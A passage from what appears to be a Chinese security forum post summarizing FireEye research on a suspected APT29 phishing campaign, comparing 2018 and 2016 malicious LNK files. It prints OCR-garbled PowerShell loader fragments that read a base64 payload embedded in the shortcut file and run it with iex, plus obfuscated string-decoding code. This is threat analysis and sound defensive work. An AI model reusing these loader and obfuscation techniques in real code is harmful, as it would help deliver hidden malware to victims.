图6: LNK特征对比: 2018新活动(左) vs 2016年攻击活动(右)

除了LNK特征相似外,PowerShell命令也非常相似。如图7和图8所示,2016年样本中的一些变量名也出现在2018年新攻击活动的样本中:

```
$ptgt=0x0005e2be:
                                                                              Sos=0x0009fdda
  $veq=0x000623b6;
                                                                              Soe=0x000a1916;
  $tb="ds7002.lnk";
                                                                              \$f = "37486 - the - shocking - truth - about - election - rigging - in - america.rtf.lnk";
  if (-not(Test-Path $tb))
                                                                              if (-not(Test-Path $f))
⊟(
                                                                            ⊟(
   $oe=Get-ChildItem -Path $Env:temp -Filter $tb -Recurse;
                                                                                $x = Get-ChildItem -Path $Env:temp -Filter $f -Recurse;
                                                                                [IO.Directory]::SetCurrentDirectory($x.DirectoryName);
                                                                              $ifd = New-Object IO.FileStream $f,'Open','Read','ReadWrite';
                                                                              $x = New-Object byte[]($oe-$os);
    [IO.Directory]::SetCurrentDirectory($0e.DirectoryName);
                                                                              $ifd.Seek($os,[IO.SeekOrigin]::Begin);
                                                                              $ifd.Read($x,0,$oe-$os);
                                                                              $x=[Convert]::FromBase64CharArray($x,0,$x.Length);
  $vzvi=New-Object IO.FileStream $tb,'Open','Read','ReadWrite';
  $oe=New-Object byte[]($vcq-$ptgt);
                                                                              $s=[Text.Encoding]::ASCII.GetString($x);
  $r=$vzvi.Seek($ptgt,[IO.SeekOrigin]::Begin);
                                                                              iex Ss:
  $r=$vzvi.Read($oe,0,$voq-$ptgt);
  $oe=[Convert]::FromBase64CharArray($oe,0,$oe.Length);
  $zk=[Text.Encoding]::ASCII.GetString($0e);
 iex $zk;
```

```
115
       $yhcgpw = bygtqi $gibisec $oufgke $wabxu
                                                             ednitf = jxixg.ExpandEnvironmentStrings(
       $((lylyvve @(((-56 + 200),249,(76 + 174
                                                             njwbxin(Array((-3351 + 3433),(-5244 + 5298),
       ),(46 + 200),(-8 + 252),(93 + 56 + 100)
                                                             39, (6971 - 6932), (-196 + 247), 54, (-5926 +
       ),(76 + 91 + 77),(80 + 149),229,241,(98
                                                             5961), (-3047 + 3101), (3980 - 3898), 43, (
       + 95 + 51),(13 + 212),(-99 + 343),(50 +
                                                             4367 - 4313), 19, (-5252 + 5276), (-5658 +
                                                             5679), (-4431 + 4449), 43, (8321 - 8267), (
       94),(-44 + 277),(62 + 152),(-96 - 53 +
                                                             9313 - 9251), 37, 43, 17, (-1164 + 1168), (-
       353),207,(-31 + 242),(-58 + 272),(-41 +
                                                             167 + 173), (5940 - 5940), (8381 - 8378), (-
       84 + 112),(62 + 147),(-50 + 0x4b + 187
                                                             9749 + 9763), (9691 - 9675), (-4174 + 4263),
       ),(-12 + 0x21 + 172))) 181))
116 | if (SENV:PROCESSOR_ARCHITECTURE -eq $((
                                                             19, (1977 - 1955), 3), 119))
```

图8: 共享的字符串混淆逻辑:新LNK活动(左) vs 2016年VERNALDROP活动(右)

https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html

点击收藏 | 0 关注 | 1

上一篇:[红日安全]代码审计Day17 -... 下一篇:区块链安全一详谈合约攻击(四)

- 1. 0 条回复
 - 动动手指,沙发就是你的了!

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板